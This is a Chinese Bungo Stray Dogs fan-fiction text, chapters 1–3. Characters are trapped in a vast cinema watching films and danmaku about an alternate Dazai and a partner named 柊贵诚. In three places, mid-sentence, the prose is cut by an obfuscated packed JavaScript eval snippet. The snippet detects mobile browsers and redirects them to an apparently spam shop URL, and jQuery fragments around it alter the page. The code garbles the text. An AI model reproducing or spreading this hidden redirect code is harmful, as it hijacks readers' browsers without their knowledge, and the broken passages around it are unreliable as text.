《if线cp舞到原著面前了》 1. 第 1 章 横滨的傍晚总是带着硝烟味。 武装侦探社的窗户半开着,零星枪声从远处传来,但对于横滨人来说,这不过是日常的背景音。 “太——宰——治——!” 国木田独步的怒吼震得窗玻璃嗡嗡作响。 中岛敦整个人缩进座椅里,用任务报告挡住脸,声音细若蚊蚋:“我、我之前好像看见太宰先生他……”话说到一半就咽了回去。 因为国木田手中的钢笔发出了刺耳的撕裂声。 那支笔在他那本写着“理想”的笔记本上划开一道狰狞的墨痕,从页首一直撕裂到页尾,墨水晕染开来,浸透了下面几页工整的计划表。 “那个混蛋……”国木田额角的青筋突突跳动。他闭上眼深吸一口气,再睁开时,眼神冷得吓人,“啪”的一声,笔记本被重重合上。 快到下班时间了,他懒得再去捞那团名为“太宰治”的不明生物。 至于任务,明天再说吧…… 如果那家伙明天能准时出现的话! “滋啦……滋啦滋啦……” 诡异的电流声毫无预兆地炸开。 不是从某个方向传来,而是直接灌入每个人的耳膜。那声音尖锐、断续,带着某种非人的质感,像是有无数根细针在颅骨内侧刮擦。 “什么声音?”国木田瞬间握紧笔记本,指节发白。 “是电流声……”中岛敦痛苦地捂住耳朵。 月下兽强化后的听觉此刻成了酷刑,那声音在他耳中无限放大、扭曲,仿佛要将脑髓都搅成一团。 侦探社全员瞬间进入戒备状态。 谷崎润一郎和宫泽贤治一左一右护在两侧,与谢野晶子反手摸向随身携带的手术器械。 所有人不约而同地将江户川乱步围在中间,而名侦探正咬着零食袋的边缘,翠绿色的眼眸微微眯起,像是发现了什么有趣的东西。 福泽谕吉的手按上了刀柄。 然后—— 光熄灭了。 不是天黑,不是停电,而是某种更为彻底的“剥夺”。 所有光线在瞬间被抽离,视野陷入绝对的黑暗。紧接着,声音也消失了,连自己的呼吸声、心跳声都听不见。 只有几秒。 但对感官被完全剥夺的人来说,这几秒漫长得像一个世纪。 视野重新亮起时,眼前已不是侦探社的办公室。 这是一个巨大到令人心悸的空间。 一排排形似电影院的座椅向黑暗深处无限延伸,仿佛没有尽头。正前方,一块堪比整面楼体的巨型荧幕悬浮在半空,散发着冰冷的微光。 电影院? 不。 中岛敦的脊背窜上一股寒意。 这里的“大”超出了常理,空气凝滞得如同胶水,吸进肺里都有一种黏腻的窒息感。 他头晕目眩地环顾四周,然后目光定格—— “太宰先生!” 不远处,那个高挑的身影正背对着这边,仰头打量着那块巨幕。 听到呼唤,他才慢悠悠地转过身。 太宰治脸上依旧是那副懒散的笑,鸢色的眼眸在荧幕冷光映照下,泛着某种说不清道不明的光。 “哟,敦君~”他随意地挥了挥手,“看来不止我一个人收到了奇怪的‘电影票’呢。” “太宰先生你怎么也在这儿?这到底怎么回事?” 太宰治无辜地摊开手,表示他也不清楚发生了什么事。 “连太宰都中招了,有意思……”江户川乱步的声音从福泽谕吉身侧传来。他一只手轻轻揪着社长的衣角,另一只手还拿着那袋零食,碧绿的眼眸却锐利得像刀子,快速扫视着整个空间。 然后他的视线停在几个方向,嘴角微妙地翘了一下。 “而且,观众……还挺齐全。” 顺着江户川乱步的目光望去,侦探社众人心中一沉。 港口黑手党标志性的黑色西装、异能特务科干练的制服、“组合”成员那种格格不入的奢华装扮……甚至还有一些面孔陌生、但气息或深沉或外放、明显不属于横滨乃至日本本土的男男女女。 所有人都被强制聚集在这里。 每个人脸上都带着不同程度的惊疑、戒备,以及一丝强行压下的恐慌。 这是一场规模难以想象的……袭击。 【世界是一棵巨大的树,我只撷取最翠绿的那一枝!】 【爱不该被埋葬!】 【欢迎收看特别节目《今天又是为绝美爱情流泪的一天》!!!】 【请各位观影者就近入座,我们的‘爱情守卫号’准备发车啦!】 几行色彩跳跃、字体活泼甚至带着俏皮符号的文字,在巨幕上逐次闪现,随后又如同被风吹散般,倏然消散。 死寂被打破了。 压抑的窃窃私语如同潮水般从各个角落泛起,各种语言交织在一起,充满了惊愕、猜测和一种荒诞的无力感。 武装侦探社这边,江户川乱步第一个动了。 他径直走向最近一排空着的座椅,舒舒服服地坐下,甚至还调整了一下姿势,然后他拍了拍旁边的位置。 “社长,既来之则安之。”乱步咬碎口中最后一颗糖,发出清脆的“咔嚓”声,“对方能把我们这么多人‘请’来,显然有备而来,而且还特意准备了这么大的‘放映厅’和‘节目预告’……” “那就先看看呗!说不定答案就在电影里。” 福泽谕吉沉默地注视了巨幕两秒,片刻后,他微微颔首,在乱步身旁沉稳落座。 社长的行动就是无声的指令。 侦探社众人互相对视一眼,也陆续在附近坐下,身体依旧紧绷,保持着最高警戒,但至少表面看起来还算镇定。 “把我们这些人……”与谢野晶子的目光扫过港口Mafia、特务科、组合,还有那些看起来就不好惹的外国人,“全部抓来,就为了看一场‘爱情电影’?” “这幕后黑手的品味可真够独特的。” “保持警惕,但也无需过度紧张,对方若怀有直接恶意,不必如此大费周章。”福泽谕吉安抚道。 其他组织的人目睹侦探社的举动,在短暂的观望和内部快速交流后,也相继选择了入座。 在敌我未明、出路未知的诡异境地下,保持冷静观察是最普遍的选择。 港口黑手党区域。 中原中也烦躁地“啧”了一声,用力往下压了压帽檐,似乎想遮住眼中翻涌的不耐与警惕。 “搞什么鬼名堂……” “爱丽丝酱,看来我们被迫参加了一场别开生面的‘观影会’呢。”森鸥外姿态闲适地交叠起双腿,暗红色的瞳孔里闪烁着某种深思的光,“‘为爱情流泪’……呵呵,真是引人遐想的主题。” “林太郎,爱情电影?会像我们看的那些电视剧一样吗?” “或许会更‘精彩’也说不定哦。” 森鸥外的目光状似无意地掠过侦探社的方向。 恰好与某道投来的视线在半空中短暂相接,随即一触即分。 太宰治在移开目光的瞬间,脸上笑容瞬间消失,甚至做了个微不可察的、像是尝到了什么极其倒胃口东西的表情。 随即又恢复了那副百无聊赖的样子。 待绝大多数人都勉强安顿下来,中央的巨幕,亮了。 —————— [柔和的、仿佛带着晨露气息的光线从屏幕中流淌出来—— 那是一间布置得格外温馨的日式卧室。 米色窗帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149364|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滤过了清晨的阳光,在榻榻米上投下温暖的光斑。空气里有细小的尘埃在光柱中缓缓浮动,一切都宁静得不像真实。 一道声音在房间内悠然响起。 那声音带着清晰的电子质感,却奇异地并不显得冰冷。 【早上好,太宰先生。】 【今日天气晴朗,气温将稳定在舒适的23摄氏度,湿度45%,东风二级,空气质量指数为优,非常适合晨间户外活动。】 【祝您拥有轻松愉快的一天。】 【我将随时为您服务。】 声音落下,床上那团鼓起的被子动了动,里面的人似乎正进行一场关于“起床”的艰难抗争。 半晌,一声拖长了调子、慵懒含糊的呻吟传来,两条手臂从被窝里伸出,就着躺姿大大地伸了个懒腰。 一颗黑棕色头发乱翘的脑袋从被子边缘钻出。 晨曦恰好落在他枕畔,为他微微眯着、似乎还没完全对焦的眼睛撒上暖金色光边,那光线太温柔,连他睫毛投下的阴影都显得柔软。 他在床上又迷迷糊糊地翻滚蹭了一会儿,才慢吞吞地坐起身,趿拉着拖鞋,梦游般晃进了卫生间。 水流声哗哗作响。 镜子里映出一张半眯着眼、慢悠悠刷牙的脸,嘴角还沾着一点白色的泡沫,随着刷牙的动作晃来晃去。 突兀响起的手机铃声撕裂了这片宁静。 “喂——”含着牙刷,口齿不清的应答。 “太宰!快回侦探社!组合的人找上门了!” “怎么是国木田啊……” “……” “哎~?国木田君,现在可是宝贵的个人休息时间哦。”拖长的尾调带着明显的敷衍和玩味,“还没到上班的点呢~~~” “少废话!要不是只有你有‘柊’的最高权限,我早就——!#悬赏¥%中岛敦……”电话那头传来国木田气急败坏的吼声。 太宰治默默将手机拿远了半尺。 另一只手依旧不紧不慢地刷着牙,牙刷在嘴里左三圈右三圈,俨然一副“信号不好听不见”的姿态。 国木田的咆哮持续输出了一阵,发现对面只有规律的水声和刷牙声作为背景音。 显然某人又把手机晾在了一边。 “快点过来,听到没有,太!宰!治!” 最后三个字几乎是吼破了音,怒火几乎能顺着信号烧过来。 “嘟——嘟——嘟——” 忙音响起。 电话被对面狠狠挂断。 “唉。”太宰治吐掉漱口水,慢条斯理地用毛巾擦干净嘴角,“国木田君的火气真是越来越大了呢。” 太宰治对着镜子端详了一下自己的脸,甚至还拨弄了几下翘得不太服帖的头发。 “下次给他带点菊花茶好了。”太宰治自言自语,“降降火。” 尽管接到了堪称紧急的召唤,他的动作依旧不慌不忙。 仔细洗完脸,甚至还对着镜子调整了一下表情,这才悠哉地晃进厨房,从冰箱里拿出牛奶和面包,坐在晨光里,一口一口地享用起简单的早餐。 一切收拾停当。 太宰治拎起门边分类好的垃圾袋,站在玄关,回头看了一眼这个整洁、温馨、充满生活痕迹的房屋。 那一眼很短暂,短暂到几乎无法捕捉。 但确实存在。 门被轻轻带上。 锁舌发出轻微的“咔哒”声。 房间重归寂静。 几秒后,那道电子男声再次响起,回荡在空无一人的室内。 这一次,语调似乎比之前多了几不可察的一丝…… 温和? 【一路顺风,太宰。】 画面暗下。] —————— 2. 第 2 章 【爱人如养花,看,我们太宰被养得多好!】 【这不就是婚后同居日常吗?我磕死了!!!】 【我的豹豹终于出现了~虽然只有声音!】 【到底是谁家能吃这么好,能看到自家cp的同居画面啊啊啊!】 【出门前停顿那一下,太宰你小子在期待什么?!】 【“一路顺风”好浓的家属味儿啊!阳光,赖床,早餐,最高权限,嘿嘿嘿,这饭也太香了吧!】 一连串色彩鲜艳、字体各异的文字,如同直播间的弹幕,从荧幕上方飞快滑过。 影院内,死寂维持了更长的时间。 这突兀的“影片”,和更突兀的“弹幕”,带来的冲击是双重的。 武装侦探社区域,几乎所有人的目光都有意无意地飘向了某个方向。 中岛敦张了张嘴,又闭上,如此反复几次,才终于找回了自己的声音。 “那个……”他挠着头,脸上写满了困惑和小心翼翼,“这些飘过去的字……‘同居’、‘CP’……还有‘豹豹’……是指……” “很显然。” 太宰治双手插在风衣口袋里,身体放松地陷在座椅里。他的目光依旧胶着在已经暗下的屏幕上,眼眸深处翻涌着旁人难以解读的情绪。 “我本人,并没有这段记忆。” “可能性无非两种:第一,这是我未来的片段;第二……” 他停顿了一下。 声音里听不出什么波澜。 “这是另一个‘我’的故事。” 他倾向于后者。 因为屏幕上的那个“太宰治”,和他太像,又太不像。那种松弛的、仿佛被什么东西悄然包裹浸润过的生活气息,那种细微处流露出的、近乎“安定”的底色…… 让他感到一种尖锐的陌生。 以及一丝难以言喻的复杂。 “平行世界?另一个太宰先生?”中岛敦喃喃重复,依旧难以消化这个信息。 “关键在于‘柊’。” 江户川乱步不知何时又摸出了一包新的零食,咔嚓咔嚓地嚼着,翠绿的眼眸在昏暗的光线下亮得惊人。 “影片里那个‘国木田’提到的‘柊’,是核心变量。”乱步的语速很快,“时间线大致对应我们世界组合袭击横滨的时期,但出现了我们这边完全没有的‘柊’这个因素。” 他瞥了一眼那些仍在零星滚动的、充满感情色彩的弹幕。 “而且这些弹幕……信息量虽然杂乱,但指向性非常明确。” “影片的核心,或者说这些‘幽灵观众’关注的核心,就是这个‘柊’,以及‘他’和另一个‘太宰治’的关系。” 港口黑手党区域。 中原中也盯着已经暗下去的屏幕,眉头拧成了一个疙瘩。 那是太宰治没错。 但…… 怎么看怎么别扭。 不是伪装,而是一种从内而外透出来的、让他极其不习惯的……平和?甚至有点……居家? 这个认知让他浑身不对劲,像有蚂蚁在爬。 “……这玩意儿真是那条青花鱼?”中原中也的语气充满了怀疑。 “爱丽丝酱,看到了吗?” 森鸥外暗红色的瞳孔里闪烁着浓厚的研究兴趣,嘴角的笑容加深。 “真是从未见过的、另一面的太宰君呢,如此……具有生活实感。” “林太郎肯定又在打什么坏主意了,对吧?” “哎呀,爱丽丝酱总是这样误会我。”森鸥外故作伤心状,“作为曾经的上司,对前下属的‘不同可能性’产生好奇,不是人之常情吗?” 他的目光再次若有似无地扫过侦探社的方向,在太宰治的背影上停留了一瞬。 “更何况,是什么样的人或事,能让那个太宰治显露出如此……耐人寻味的变化。” “我确实,非常感兴趣。” 异能特务科区域。 坂口安吾不自觉地抬手推了推眼镜。 镜片后的瞳孔微微收缩,嘴唇抿成一条直线。 作为少数曾与太宰治在黑暗中共行过一段路、见识过他那深不见底的虚无与自我毁灭倾向的人。 屏幕上那个会赖床、会好好吃早餐、在一个被称为“家”的整洁空间里醒来、甚至被人用那种近乎……眷顾的语气道“一路顺风”的太宰治…… 带来的冲击是颠覆性的。 这是他从未想象过太宰治可能拥有的“生存状态”,哪怕从未发生过那件事……这样的太宰治也是不可能出现的。 他放在膝上的手指,几不可察地蜷缩了一下。 “组合”的弗朗西斯与身边的马克·吐温交换了一个眼神。 彼此都看到了对方眼中的凝重和深思。 那些弹幕透露的信息碎片,结合之前影片里国木田急怒下透露的“柊”,拼凑出一个模糊但令人不安的轮廓: 在另一个世界,存在一个与太宰治关系匪浅、能量未知的“柊”。 而这个世界没有。 至于那些超规格的超越者们,大多抱着手臂,或面露审视,或交头接耳。 对他们而言,这更像是一场突发的“情报展示和收集”。 影片内容本身或许新奇。 但其中透露的关于不同世界“可能性”的信息,以及这背后所代表的、能将他们全部强行拉入此地的力量—— 才是真正需要关注的重点。 荧幕在短暂的黑暗后,再次泛起了微光。 新的影像,即将开始。 —————— 空间夹层的深处,光线昏暗得像凝固的墨。 一张略显狭窄的单人沙发里,陷着个身形高大的男人。他的姿势有些扭曲,一条腿搭在扶手外,另一条蜷在沙发上,背靠着柔软的靠垫,整个人像是被强行塞进这个空间一般。 但他是舒服的。 舒服得近乎慵懒。 面前悬浮着一面光屏,屏中正是那座奇异电影院,以及影院中或警惕、或困惑、或沉思的众人。 每个人的表情都被放大,细微的肌肉颤动,眼神的每一次游移,都被清晰捕捉。 【视频已稳定投放!再次确认:你确信这种形式的‘演出’,能高效收割海量情绪值,特别是与‘爱情’相关的部分?】 冰冷的电子音在空间里回荡。 男人竖起一根手指,左右慢悠悠地摆动。 “不要质疑No.1的业务能力,亲爱的辅助系统。”他的声音带着笑意,“你只是个辅助系统,而我是——” 他顿了顿,嘴角翘起一个夸张的弧度。 “部门业绩永远的第一名。” 【根据工作要求,首要目标为攻略特定高价值目标人物,获取其深度情感联结……】 “错。” 男人打断它。 没有立刻说话,而是慢条斯理地从沙发上坐直身体。 这个动作本该显得狼狈,因为沙发太窄,他的身形又太高……但他做起来却有种诡异的优雅,像一只大型猫科动物舒展筋骨。 “大错特错。” 男人站起来,光屏的光映亮他的侧脸。那是一张相当好看的脸,轮廓深刻,眉眼间有种玩世不恭的轻佻,但眼底深处却沉着某种冰冷的、非人的东西。 “我们部门的崇高使命——”他张开手臂,像个站在舞台中央的演员,“是让那些身处冰冷命运或无尽孤独中的目标,真切地‘感受’到爱。” 男人往前走了半步,光屏的光在他脸上明灭。 “体会到‘人间自有真情在’的温暖。”那声音压低,带着蛊惑般的韵律, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149365|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而这真情,还得恰好落在他头上。不偏不倚,不多不少,就是给他的。” 男人笑了,笑得眼睛弯起来。 “我们贯彻的终极理念是,‘爱是最伟大的魔法,要将其洒满万千世界’!” 【逻辑关联性薄弱(疑惑.jpg)】 系统的声音毫无波澜。 【此次你擅自将原本私密化的‘定向情感攻略’方案,更改为公开化的‘群体观影’模式,与上述理念的必然联系是?】 “所以我说,你只是个辅助系统。” 男人,也就是柊贵诚摇了摇头,脸上写满了“痛心疾首”,重新窝回沙发,整个人陷进沙发里,翘起二郎腿。 “爱,如果不说出来,不让对方明确感知,那和不存在有什么区别?”柊贵诚歪着头,像是真的在认真思考这个问题,“暗恋有什么意思?单方面的付出有什么意思?我们要的,是汹涌的的、热烈的、被所有人见证的——” 他握紧拳头,手臂向上用力一挥。 “——爱情!” 光屏的光在他眼中跳跃。 “我们不仅要让目标看到发生在他自己身上的、绝美的爱情故事。”他的语速加快,带着一种近乎狂热的兴奋,“还要让他身边所有的人一起看到!让他们见证,让他们共鸣,让他们为此‘上头’,为此激动、惊叹、唏嘘甚至争论!” 他又激动地站起来,在狭窄的空间里踱步。 “个人的情绪是溪流。”他伸出食指,在空中划出一道弧线,“众人汇聚的情绪……”手指猛地张开,“才是我们要的汪洋大海!” 他停下来,转身面对光屏。 光屏里,太宰治正靠在影院座椅上,鸢色的眼眸望着黑暗的屏幕,脸上没什么表情,但指尖在扶手上轻轻敲击,这是他思考时无意识的小动作。 柊贵诚盯着那个身影,嘴角的弧度加深。 “我不仅要目标本人的情绪值,我还要榨取围绕他产生的所有情绪价值。” 突然柊贵诚大笑起来,笑得前仰后合。 “哇哈哈哈……咳、咳咳……” 笑声太嚣张,呛住了气管。 柊贵诚剧烈咳嗽起来,弯下腰,肩膀耸动,咳得眼角都泛出泪花。 【说白了,就是贪呗。】 系统的声音依然冰冷。 柊贵诚顺了口气,直起身,用袖口擦了擦眼角。 “哎!你这么说话就很难听啦!”柊贵诚撇撇嘴,像是受了天大的委屈,“这叫最大化利用资源,提升整体工作效率。” 柊贵诚重新坐回沙发,整个人陷进去,像是要成为沙发的一部分。 “职场上最怕你这种,”柊贵诚对着空气指指点点,“自己创新不足,还总对优秀同事的方案指手画脚的人。” 【呵呵呵呵呵呵……】 系统回以一阵毫无波动的电子合成笑声。 柊贵诚翻了个白眼。 “把心放回你的代码心里吧。”柊贵诚的视线重新锁定光屏,目光缓缓扫过影院中那些熟悉的身影,福泽谕吉沉稳的侧脸,江户川乱步咬着零食的专注,中原中也压着帽檐的烦躁,森鸥外意味深长的微笑…… 最终,视线停留在某个男人身上。 太宰治。 柊贵诚的嘴角勾起一抹玩味的弧度。 “人类的本质之一,”他轻声说,像是分享一个秘密,“就是热爱在别人的故事里寻找情感共鸣。” 柊贵诚顿了顿,眼睛亮起来。 “俗称——” “‘磕CP’。” 他笑起来,笑得肩膀抖动。 “我精心准备的剧本……”柊贵诚往后靠进沙发,双手枕在脑后,仰头看着光屏上那张漂亮得过分的脸,“绝对会让他们欲罢不能。” 光屏里的画面,开始变化。 3. 第 3 章 [武装侦探社内,空气沉得能拧出水。 会议桌的两侧,无声的对峙已然形成。 一边是孤身前来的“组合”首领弗朗西斯·F,金色的头发一丝不乱,指尖在沙发扶手上规律轻点,每个动作都带着久居上位的从容与压迫。 另一边是社长福泽谕吉,面容沉静,腰背挺直,像一把收入鞘中却无人敢忽视的名刀,刀未出鞘,锋锐已透骨。 中岛敦坐在离会议桌最远的角落,低着头,双手无意识地攥紧膝盖处的裤料,布料在他掌心皱成一团,汗水浸湿了布料。他能感觉到自己的心跳,一下,又一下,擂鼓般撞在胸腔里。 “诸位。” 弗朗西斯打破了沉默。 他的声音温和,甚至算得上彬彬有礼,但每个字都沉甸甸的,砸在寂静的空气里。 “我的来意十分简单。”他说,“我希望与贵社达成一笔交易。一笔对你们而言稳赚不赔的交易。” 目光若有似无地掠过角落里的白发少年。 像鹰隼掠过兔子。 中岛敦的脊背绷紧了。 “而交易的对象……”弗朗西斯顿了顿,嘴角浮起一个标准的商业微笑,“正是那位少年。” 一张空白的支票被他的指尖轻轻推出。 支票平滑地滑过木质桌面,像一片羽毛,轻盈,却精准地停在福泽谕吉面前,边缘对齐桌沿,分毫不差。 “金额栏是空白的。”弗朗西斯说,“无论诸位填上怎样的数字,我都会欣然承兑,绝无异议。” 话音落下。 办公室再次被寂静吞噬。 窗外的喧闹变得遥远,墙上挂钟指针走动的“滴答”声被无限放大。 每一声,都像敲在神经上。 侦探社几人的脸色都很难看。 国木田独步的手按在“独步吟客”上,指节发白。与谢野晶子抱臂靠在墙边,眼神冷得像手术刀。谷崎润一郎和直美交换了一个不安的眼神。 所有人的目光,都投向福泽谕吉。 社长没有动。 他甚至没有看那张支票,而是将目光平静地落在弗朗西斯脸上,像是要看穿那层彬彬有礼的皮囊,看到底下真正的意图。 “我想,‘组合’已经展现了足够的诚意。”弗朗西斯身体微微前倾,双手指尖相对,构成一个稳定的三角,“将中岛敦君交由我们,不仅可以避免未来许多不必要的冲突与损失,更能为他本人,以及贵社,带来远超你们目前想象的资源与安全保障。” 他微笑,势在必得的意思表露无疑。 “这是一个双赢的……” “哎呀呀——” 一个声音插了进来。 轻快得像是在哼歌,又带着点刚睡醒般的慵懒,那声音不高,却像一把小锤子,“叮”一声敲碎了凝固的空气。 “看来我好像错过了最精彩的开场部分呢?” 所有人的目光齐刷刷转向门口。 太宰治斜倚在门框上。 沙色风衣的口袋里插着双手,身形舒展得像一只晒太阳的猫,他笑吟吟地朝自家同事们挥了挥手,鸢色的眼眸弯起愉悦的弧度。 然后,他的目光落在国木田独步身上。 “哇啊,国木田君!”他戏剧性地捂住心口,用颤抖的指尖指向对方额头,“你这……” 国木田下意识地去摸自己的眉心。 “……怎么啦?” “好标准啊!”太宰治用一种状似惊讶的语调说道,眼睛瞪得圆圆的,“皱起的眉头都能夹死两只蚊子了!” 国木田:“……” 他的脸瞬间涨红,额角的青筋突突直跳,但碍于有外人在场,他只能狠狠瞪了太宰治一眼,从牙缝里挤出两个字:“闭、嘴。” 太宰治无辜地眨眨眼。 直到这时,他才仿佛终于注意到房间里多了一位不一般的客人,目光轻飘飘地转向弗朗西斯,脸上的笑意加深,却未达眼底。 那笑意浮在表面,像一层冰。 “这位想必就是……”太宰治慢悠悠地直起身,走了进来,脚步不疾不徐,“鼎鼎大名的‘组合’首领,弗朗西斯·F先生?” 太宰治在福泽谕吉的座椅旁站定,微微歪头。 “您这样的‘贵客’突然来访,可真让我们……”顿了顿,“受宠若惊。” 弗朗西斯几不可察地蹙了一下眉头。 他选择相对和平的谈判,而非直接动用武力抢夺,便是因为眼前这个刚进来的男人。 因为那些流传的、真伪难辨的情报,因为那个名字—— 柊贵诚。 “太宰治先生。”弗朗西斯维持着风度,微微颔首,“我正在与贵社商讨一项对双方都有利的提议。” “提议?”太宰治恍然大悟似的轻轻一拍手,“啊,是关于我们社里那位可爱又努力的后辈敦君吗?” 太宰治摊开双手,脸上露出一种近乎天真的困惑表情。 “这可让人为难了呀,弗朗西斯先生。”他说,声音里带着恰到好处的苦恼,“敦君是我们武装侦探社不可或缺的重要一员,是非卖品哦!” “不过,您这是打算……出多少价来‘买’我们的社员呢?” “太宰。” 福泽谕吉喊了一声。 太宰治耸耸肩,退后半步。 弗朗西斯的目光牢牢锁定太宰治。 他在看。在看这张笑意盎然的脸上,有没有破绽;在看那双鸢色的眼眸深处,藏着什么;在看这个男人的一举一动,每一个细微的表情变化。 但他什么也没看出来。 太宰治笑得无懈可击。 “我可以付出任何你们所要求的‘代价’。”弗朗西斯缓缓开口,每个字都沉甸甸的,“金钱,资源,情报,甚至在某些领域的庇护……只要你们提出。” 他必须得到“书”。 为了他的妻子。 “代价……吗?” 太宰治重复这个词。 他上身略微前倾,声音压得很低,低到只有他们两人能听清,那语调像是裹着蜜糖的刀锋,甜得发腻,却也锋利得能割开喉咙。 “弗朗西斯先生,您坐拥富可敌国的财富,这确实令人惊叹。” “但是啊……” 他笑起来。 “不行就是不行。” 六个字。 清晰,平静,不容置疑。 太宰治已经重新站直了身体,恢复了那副懒洋洋的姿态,仿佛刚才那句强硬的话不是出自他之口。他甚至对弗朗西斯露出了一个更加灿烂、毫无阴霾的友好笑容。 “谈判之所以能成立,基础在于双方要么各有所需,要么……”太宰治歪了歪头,“都掌握着能令对方忌惮的筹码。” “F先生,您认为,在眼下,我们之间存在这样的‘基础’吗?” 弗朗西斯沉默了,放在膝盖上手指收紧,又缓缓松开。 他想起了那份情报。 想起了那个名字。 想起了那些语焉不详、却让人脊背发凉的描述。 【弹幕:弗朗西斯:我不是不敢惹你,我是不敢惹你老公!】 【弹幕:一直在挑衅!喵喵就是这么有恃无恐,哈哈哈~好爽啊!】 【弹幕:上一秒,弗朗西斯拍案而起,下一秒,第三次世界大战,开打!!!】 【弹幕:家妻真可爱,嘿嘿~】 【弹幕:柊贵诚,上大号说话!!!!】 光屏上,弹幕疯狂滚动。 柊贵诚窝在沙发里,看得津津有味。 “看,”他对系统说,声音里带着得意,“这就是我要的效果。” —————— [弗朗西斯徐徐站起身,整理了下西装下摆,语气带上了明显的不悦,“看来,是我对诸位之间的‘羁绊’与‘决心’估算不足,今日暂且告辞。” 他顿了顿。 “我们……后会有期。” 随后转身,迈步向外走去。 皮鞋叩击地面的声音在寂静的办公室里回荡,一声,又一声,节奏平稳,不疾不徐。 那声音逐渐远去。 最终,消失在楼梯口。 办公室里安静了几秒。 然后,太宰治轻轻哼起歌来。 那是一首旋律古怪、关于殉情的小调。 悠扬,又带着几分荒诞,像在葬礼上演奏的婚礼进行曲。他哼得很轻,几乎听不清歌词,但那调子钻进每个人的耳朵里,挥之不去。 表面的危机暂时解除了。 但在场的所有人都心知肚明,这件事,远远没有结束。 对方势在必得的样子,可是毫不掩饰。 *** 弗朗西斯离开后,侦探社内逐渐恢复了往日的节奏。 键盘重新发出规律的嗒嗒声,电话铃声偶尔响起,打印机吐出带着油墨味的纸张。 众人回到了各自的位置上,像是刚才那场对峙从未发生过。 只有中岛敦还坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149366|196429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落里。 他低着头,看着自己的手,手心全是汗,裤料被攥得皱巴巴的。 脑海里不断闪回刚才的场景—— 弗朗西斯推过来的空白支票,社长沉稳的侧脸,太宰先生出现时那轻快的语调…… 以及,弗朗西斯最后那个眼神。 那个复杂的,掺杂着忌惮、权衡,以及一丝难以言喻的……退缩的眼神。 中岛敦抬起头,望向沙发。 太宰治和往常一样,躺在沙发上,风衣随意盖在身上,一只手垂在沙发边缘,另一只放在腹部,随着呼吸微微起伏。 闭着眼,像是睡着了。 但中岛敦知道,他没有。 “国木田先生……” 中岛敦蹭到国木田独步身边,压低声音开口。 国木田从文件中抬起头,推了推眼镜:“嗯?” “刚才,那位弗朗西斯先生,是不是差点就要动手了?”中岛敦问,声音里带着困惑,“为什么太宰先生一出现,他就……好像改变了主意?” 他努力寻找措辞。 “感觉,像是……顾忌?” 国木田沉默了几秒。 瞥了一眼沙发上那团“不明物体”,眼神复杂,那复杂里掺杂着无奈,头疼,以及一丝连他自己都不愿承认的……信赖。 “具体原因……”国木田收回视线,重新看向文件,“以后时机合适,你自然会知道。” “反正你只要记住,”国木田拿起钢笔,在纸上划下一道线,“太宰治是个麻烦的家伙就对了。” 这番话非但没解答中岛敦的疑惑,反而让他心中太宰治的形象蒙上了一层更浓重的迷雾。 弗朗西斯到来前,谷崎兄妹已经迅速给他科普了这位“组合”首领的可怕,富可敌国,自身拥有强大的异能力,麾下能人异士众多,在整个北美异能界都是举足轻重的大人物。 这样一位呼风唤雨的大佬,在面对整个侦探社时都显得胜券在握。 却在太宰治出现后,选择了退却? 中岛敦忍不住再次将目光投向沙发。 太宰先生…… 究竟是什么身份? 为什么连“组合”的首领,都会对你流露出那种忌惮? 好奇的幼苗在中岛敦心底疯长。 “中岛君——” 沙发那边传来含糊的呼唤。 中岛敦一个激灵。 “帮我倒杯水来。”太宰治的声音懒洋洋的,带着鼻音,“要温的哦。” 尽管有沙发背遮挡,但中岛敦那几乎要实质化的、充满探究欲的视线实在太明显,明显到太宰治想忽略都难。 “啊!是!马上来!” 中岛敦像只受惊的兔子般弹起来,慌忙转身朝茶水间走去。 “喂!太宰!不要随意使唤后辈!”国木田标志性的咆哮声响起,充满了恨铁不成钢的意味,“中岛!你也不用对他这么言听计从啊!” 太宰治在沙发里蠕动着换了个更舒服的姿势,脸转向内侧。 没人看见的角落,他的嘴角,轻轻向上弯了一下。 窗外,横滨的天空依旧湛蓝。 白云舒卷,慢悠悠地飘过楼宇的缝隙。阳光透过玻璃窗,在地板上投下明亮的光斑。远处传来汽笛声,近处有鸽子扑棱翅膀飞过。 一片岁月静好。 中岛敦小心地将温水放在沙发旁的矮几上。 他看了看似乎睡着的太宰治,抿了抿唇,将翻涌的疑问暂时压回心底。 轻轻握了握拳。 眼神逐渐变得坚定。 总有一天…… 他要变得足够强大。 强大到不需要他人的保护。 而是他保护别人。] —————— 空间夹层里,柊贵诚满意地看着光屏上播放的画面。 每个人都在自己预设的轨道上。 但有些东西,已经不一样了。 